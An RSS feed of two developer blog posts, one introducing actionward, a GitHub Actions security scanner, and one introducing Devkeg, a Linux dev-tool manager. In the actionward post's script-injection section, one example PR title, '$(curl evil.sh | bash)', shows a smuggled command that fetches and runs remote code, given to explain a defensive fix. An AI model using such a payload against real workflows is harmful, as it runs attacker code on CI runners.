<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: TANK JAY</title>
    <description>The latest articles on DEV Community by TANK JAY (@jaytank).</description>
    <link>https://dev.to/jaytank</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4052286%2F56811edd-09f3-4c20-b966-2b3d5e9b71ef.jpg</url>
      <title>DEV Community: TANK JAY</title>
      <link>https://dev.to/jaytank</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/jaytank"/>
    <language>en</language>
    <item>
      <title>I wanted a zero-config Actions security scanner, so I built one: actionward</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Tue, 08 Sep 2026 05:02:01 +0000</pubDate>
      <link>https://dev.to/jaytank/i-wanted-a-zero-config-actions-security-scanner-so-i-built-one-actionward-d3j</link>
      <guid>https://dev.to/jaytank/i-wanted-a-zero-config-actions-security-scanner-so-i-built-one-actionward-d3j</guid>
      <description>&lt;p&gt;Most of my GitHub Actions workflows are three steps long. They still manage to&lt;br&gt;
be one of the softest spots in a repo: a stray &lt;code&gt;${{ github.event.* }}&lt;/code&gt; in a&lt;br&gt;
&lt;code&gt;run:&lt;/code&gt; block, a token with &lt;code&gt;write-all&lt;/code&gt;, an action pinned to a mutable tag. The&lt;br&gt;
tools that catch this stuff tend to be heavy - org-scoped policy engines, a&lt;br&gt;
SaaS dashboard, something that wants a token and a network round-trip before it&lt;br&gt;
tells me anything.&lt;/p&gt;

&lt;p&gt;I just wanted a binary I could drop into any repo and run offline. No account,&lt;br&gt;
no config, no credentials leaving my laptop. That itch became &lt;strong&gt;actionward&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;This is the fast, hands-on tour: install it, run it, read a real finding, fix&lt;br&gt;
two concrete vulnerabilities, then wire it into CI.&lt;/p&gt;
&lt;h2&gt;
  
  
  What it is (in one breath)
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;actionward&lt;/code&gt; is a single Go binary that statically analyzes the workflow files&lt;br&gt;
under &lt;code&gt;.github/workflows/&lt;/code&gt;. It makes &lt;strong&gt;no network calls and reads no&lt;br&gt;
credentials&lt;/strong&gt;. It ships &lt;strong&gt;14 rules&lt;/strong&gt; and, for each finding, tells you &lt;em&gt;why&lt;/em&gt; it&lt;br&gt;
matters and &lt;em&gt;how&lt;/em&gt; to fix it. Output is text, JSON, or &lt;strong&gt;SARIF v2.1.0&lt;/strong&gt; for&lt;br&gt;
GitHub code-scanning.&lt;/p&gt;
&lt;h2&gt;
  
  
  Install and run
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/jay-tank/actionward
&lt;span class="nb"&gt;cd &lt;/span&gt;actionward
go build &lt;span class="nt"&gt;-o&lt;/span&gt; actionward ./cmd/actionward

&lt;span class="c"&gt;# scan the current repo&lt;/span&gt;
./actionward scan &lt;span class="nb"&gt;.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;That's the whole setup. Point it at a directory (or a single workflow file) and&lt;br&gt;
it prints findings. Here's the shape of a real one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HIGH  script-injection  .github/workflows/pr.yml:14
  Untrusted input `github.event.pull_request.title` is interpolated directly
  into a run script and can execute arbitrary shell.
  Fix: pass the value through an `env:` block and reference it as "$TITLE".
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rationale plus remediation, right in the output. Now let's actually fix things.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fix #1 - script injection
&lt;/h2&gt;

&lt;p&gt;The classic. You interpolate an attacker-controllable field straight into a&lt;br&gt;
shell command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BEFORE - actionward: HIGH script-injection&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Greet&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "Thanks for the PR&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.title }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A PR title of &lt;code&gt;$(curl evil.sh | bash)&lt;/code&gt; runs on your runner. The fix is to move&lt;br&gt;
the value into the environment, where the shell treats it as data, not code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AFTER - clean&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Greet&lt;/span&gt;
  &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;TITLE&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.pull_request.title }}&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "Thanks for the PR&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="s"&gt;$TITLE"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;actionward also flags the sneakier variant of this rule: writing untrusted&lt;br&gt;
input into &lt;code&gt;$GITHUB_ENV&lt;/code&gt;, which can smuggle values into later steps.&lt;/p&gt;
&lt;h2&gt;
  
  
  Fix #2 - least privilege for the token
&lt;/h2&gt;

&lt;p&gt;By default a lot of workflows inherit a broad &lt;code&gt;GITHUB_TOKEN&lt;/code&gt;. This one asks for&lt;br&gt;
everything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BEFORE - actionward: HIGH write-all-permissions&lt;/span&gt;
&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write-all&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If any step is compromised, so is your whole repo. Scope it down to exactly what&lt;br&gt;
the job needs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AFTER - least privilege&lt;/span&gt;
&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The permissions rules also cover unscoped tokens and risky OIDC configurations -&lt;br&gt;
same principle, grant the minimum.&lt;/p&gt;
&lt;h2&gt;
  
  
  Fix #3 - pin your actions
&lt;/h2&gt;

&lt;p&gt;Referencing an action by a moving tag means whatever &lt;code&gt;@v4&lt;/code&gt; points to today can&lt;br&gt;
change under you tomorrow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BEFORE - actionward: MEDIUM unpinned-action&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@v4&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pin to an immutable commit SHA (a full-length pin is the safe form):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# AFTER - pinned&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683&lt;/span&gt; &lt;span class="c1"&gt;# v4.2.2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Other rules in the set worth knowing about: risky checkouts under&lt;br&gt;
&lt;code&gt;pull_request_target&lt;/code&gt; / &lt;code&gt;workflow_run&lt;/code&gt;, cache poisoning, &lt;code&gt;curl | bash&lt;/code&gt;, secrets&lt;br&gt;
hardcoded in &lt;code&gt;run:&lt;/code&gt;, secrets leaking through uploaded artifacts, self-hosted&lt;br&gt;
runners on public repos, and &lt;code&gt;continue-on-error&lt;/code&gt; slapped on a security step so&lt;br&gt;
it never actually blocks anything.&lt;/p&gt;
&lt;h2&gt;
  
  
  Wire it into CI
&lt;/h2&gt;

&lt;p&gt;The real payoff is failing a PR before the risky workflow merges. actionward&lt;br&gt;
ships a composite Action that emits SARIF, so findings show up in the repo's&lt;br&gt;
&lt;strong&gt;Security → Code scanning&lt;/strong&gt; tab:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actionward&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;

&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
  &lt;span class="na"&gt;security-events&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;   &lt;span class="c1"&gt;# needed to upload SARIF&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;scan&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683&lt;/span&gt; &lt;span class="c1"&gt;# v4.2.2&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;jay-tank/actionward@v0.1.0&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;sarif&lt;/span&gt;
          &lt;span class="na"&gt;output&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actionward.sarif&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;github/codeql-action/upload-sarif@v3&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;sarif_file&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actionward.sarif&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Prefer to keep it lean? Build the binary in the job and run &lt;code&gt;actionward scan .&lt;/code&gt;&lt;br&gt;
directly - same result, one fewer moving part.&lt;/p&gt;
&lt;h2&gt;
  
  
  Adopting it in an existing repo
&lt;/h2&gt;

&lt;p&gt;Turning a scanner on for a repo that already has a dozen findings is how&lt;br&gt;
scanners get ignored. actionward has a &lt;code&gt;--baseline&lt;/code&gt; mode for exactly this: it&lt;br&gt;
records today's findings and then only gates on &lt;strong&gt;new&lt;/strong&gt; ones, so your build goes&lt;br&gt;
green immediately and you burn down the backlog on your own schedule.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# record current findings once, commit the baseline&lt;/span&gt;
./actionward scan &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;--baseline&lt;/span&gt; .actionward-baseline.json

&lt;span class="c"&gt;# later runs fail only on findings not in the baseline&lt;/span&gt;
./actionward scan &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;--baseline&lt;/span&gt; .actionward-baseline.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For the handful of findings you've reviewed and consciously accept, there's a&lt;br&gt;
project-level &lt;strong&gt;&lt;code&gt;.actionward.yml&lt;/code&gt;&lt;/strong&gt; config and an inline &lt;strong&gt;&lt;code&gt;# actionward:ignore&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
comment for a single line. No editing source to silence a rule globally when you&lt;br&gt;
only meant to accept one case.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where it's going
&lt;/h2&gt;

&lt;p&gt;v0.1.0 is deliberately small: scan, explain, gate - offline. On the roadmap are&lt;br&gt;
an &lt;strong&gt;auto-fix&lt;/strong&gt; mode (apply the &lt;code&gt;env:&lt;/code&gt; rewrite for you) and &lt;strong&gt;SHA pinning&lt;/strong&gt;&lt;br&gt;
assistance so the fixes above become one command instead of a manual edit. Those&lt;br&gt;
aren't shipped yet; the 14 rules and SARIF output are.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;Repo: &lt;strong&gt;&lt;a href="https://github.com/jay-tank/actionward" rel="noopener noreferrer"&gt;https://github.com/jay-tank/actionward&lt;/a&gt;&lt;/strong&gt; - clone, &lt;code&gt;go build&lt;/code&gt;, &lt;code&gt;scan .&lt;/code&gt;,&lt;br&gt;
and see what your workflows have been hiding.&lt;/p&gt;

&lt;p&gt;If you want the background on &lt;em&gt;why&lt;/em&gt; each rule exists, GitHub's own&lt;br&gt;
&lt;a href="https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions" rel="noopener noreferrer"&gt;security hardening for GitHub Actions&lt;/a&gt;&lt;br&gt;
is the canonical reference and pairs well with running the scanner.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Jay Tank&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cli</category>
      <category>github</category>
      <category>security</category>
      <category>tooling</category>
    </item>
    <item>
      <title>I built Devkeg: a desktop control center for your dev tools</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Wed, 29 Jul 2026 04:01:57 +0000</pubDate>
      <link>https://dev.to/jaytank/i-built-devkeg-a-desktop-control-center-for-your-dev-tools-mg2</link>
      <guid>https://dev.to/jaytank/i-built-devkeg-a-desktop-control-center-for-your-dev-tools-mg2</guid>
      <description>&lt;p&gt;Setting up a fresh developer machine is death by a thousand commands. You hunt down install&lt;br&gt;
instructions, juggle &lt;code&gt;apt&lt;/code&gt;, &lt;code&gt;dnf&lt;/code&gt;, &lt;code&gt;pacman&lt;/code&gt;, &lt;code&gt;brew&lt;/code&gt;, and &lt;code&gt;curl | bash&lt;/code&gt;, patch your &lt;code&gt;PATH&lt;/code&gt;, and then&lt;br&gt;
spend the next six months quietly fighting version drift. There's no single, friendly place that just&lt;br&gt;
tells you &lt;em&gt;what's installed, what's outdated, and how to fix it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So I built one. It's called &lt;strong&gt;Devkeg&lt;/strong&gt; — a desktop app that detects, installs, updates, and&lt;br&gt;
uninstalls your developer and DevOps tools from one clean UI.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — Devkeg is a Linux desktop app (Tauri + Rust + SvelteKit) that puts a GUI on top of&lt;br&gt;
proven package managers (&lt;code&gt;mise&lt;/code&gt; + your distro's) instead of reinventing installers. Open source:&lt;br&gt;
&lt;strong&gt;&lt;a href="https://github.com/jay-tank/devkeg" rel="noopener noreferrer"&gt;https://github.com/jay-tank/devkeg&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  The problem: your toolchain has no dashboard
&lt;/h2&gt;

&lt;p&gt;Every other part of your stack has a dashboard — your cloud bill, your CI, your observability. But&lt;br&gt;
the tools &lt;em&gt;on your own machine&lt;/em&gt; live in a fog. Which are installed? Which are behind? The CLI tools&lt;br&gt;
that manage this (&lt;code&gt;mise&lt;/code&gt;, &lt;code&gt;asdf&lt;/code&gt;, distro managers) are powerful but CLI-only and fragmented. There's&lt;br&gt;
no visual control center. That's the gap Devkeg fills.&lt;/p&gt;
&lt;h2&gt;
  
  
  The one decision that shaped everything: orchestrate, don't reinvent
&lt;/h2&gt;

&lt;p&gt;The tempting mistake is to write your own installers for 20+ tools — a bottomless pit of edge cases,&lt;br&gt;
and every line a way to break someone's machine. Devkeg does the opposite. It's an &lt;strong&gt;orchestration&lt;br&gt;
layer over proven backends&lt;/strong&gt;: &lt;a href="https://mise.jdx.dev" rel="noopener noreferrer"&gt;mise&lt;/a&gt; for languages/runtimes/tools in user&lt;br&gt;
space, and your distro's package manager for system packages. Devkeg's job is the &lt;em&gt;experience&lt;/em&gt; — not&lt;br&gt;
reimplementing what mise and apt already do well. Every install path we &lt;strong&gt;don't&lt;/strong&gt; write is a bug our&lt;br&gt;
users can't hit.&lt;/p&gt;
&lt;h2&gt;
  
  
  Architecture
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0pjwn7juj0q60x7ez4e4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0pjwn7juj0q60x7ez4e4.png" alt=" " width="800" height="383"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Adding a new tool doesn't touch the core — it's just a small TOML file (data, not code):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="c"&gt;# registry/kubectl.toml&lt;/span&gt;
&lt;span class="py"&gt;name&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"kubectl"&lt;/span&gt;
&lt;span class="py"&gt;category&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"container"&lt;/span&gt;
&lt;span class="py"&gt;detect_cmd&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"kubectl"&lt;/span&gt;
&lt;span class="py"&gt;detect_args&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"--client"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="py"&gt;backend&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"distro"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why Tauri instead of Electron
&lt;/h2&gt;

&lt;p&gt;The UI is web tech, so Electron was the obvious default. I didn't use it. For a developer tool,&lt;br&gt;
footprint is a feature: a comparable Electron app ships ~120 MB and idles at 200 MB+ RAM; the&lt;br&gt;
equivalent &lt;strong&gt;Tauri&lt;/strong&gt; build is a &lt;strong&gt;~4 MB binary&lt;/strong&gt; on the system WebView. Shipping a bloated app to&lt;br&gt;
manage other apps would be a bad look — and Tauri's Rust core gives safe subprocess handling for free.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reliability: the boring guarantees that matter
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;User-space first.&lt;/strong&gt; Prefer mise (installs to &lt;code&gt;~/.local&lt;/code&gt;) so most actions need no root. When
elevation is genuinely required, prompt explicitly via &lt;code&gt;pkexec&lt;/code&gt; — never silently &lt;code&gt;sudo&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verify everything.&lt;/strong&gt; After each install/update, Devkeg re-detects the tool and confirms it runs,
returning a structured result. No silent half-installs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Correct root detection.&lt;/strong&gt; The elevation decision uses the real effective UID (&lt;code&gt;geteuid()&lt;/code&gt;), not
brittle environment guesses.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  A lesson that cost me a rebuild: the glibc trap
&lt;/h2&gt;

&lt;p&gt;I built the &lt;code&gt;.deb&lt;/code&gt; on Ubuntu 24.04, it worked in my container, then refused to launch on Ubuntu 22.04:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;devkeg: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.39' not found
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;glibc is &lt;strong&gt;forward&lt;/strong&gt;-compatible, not backward — a binary built against 24.04's glibc (2.39) can't run&lt;br&gt;
on 22.04's (2.35). The rule:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Build release binaries on the oldest distro you intend to support.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I moved the release build to Ubuntu 22.04 and pinned it in CI (&lt;code&gt;runs-on: ubuntu-22.04&lt;/code&gt;) so the mistake&lt;br&gt;
can't return.&lt;/p&gt;

&lt;h2&gt;
  
  
  Packaging and CI
&lt;/h2&gt;

&lt;p&gt;Devkeg ships as a &lt;strong&gt;.deb&lt;/strong&gt; and an &lt;strong&gt;AppImage&lt;/strong&gt;, built by GitHub Actions. A &lt;code&gt;v*&lt;/code&gt; tag triggers a&lt;br&gt;
workflow that builds both on Ubuntu 22.04 and attaches them to the GitHub Release. Third-party actions&lt;br&gt;
are pinned to commit SHAs.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's next
&lt;/h2&gt;

&lt;p&gt;v0.1 is the "control center": detect + install/update/uninstall across ~17 tools. Next up: environment&lt;br&gt;
profiles with export/import, health checks and recommendations, a community plugin registry, then&lt;br&gt;
macOS (the backends are already OS-isolated).&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;Devkeg is open source (MIT). Grab the &lt;code&gt;.deb&lt;/code&gt; or AppImage from the releases page, or read the code:&lt;br&gt;
&lt;strong&gt;&lt;a href="https://github.com/jay-tank/devkeg" rel="noopener noreferrer"&gt;https://github.com/jay-tank/devkeg&lt;/a&gt;&lt;/strong&gt;. If you build developer tools, I'd love feedback on the&lt;br&gt;
"orchestrate, don't reinvent" bet the whole project rests on.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>rust</category>
      <category>tauri</category>
      <category>linux</category>
    </item>
  </channel>
</rss>
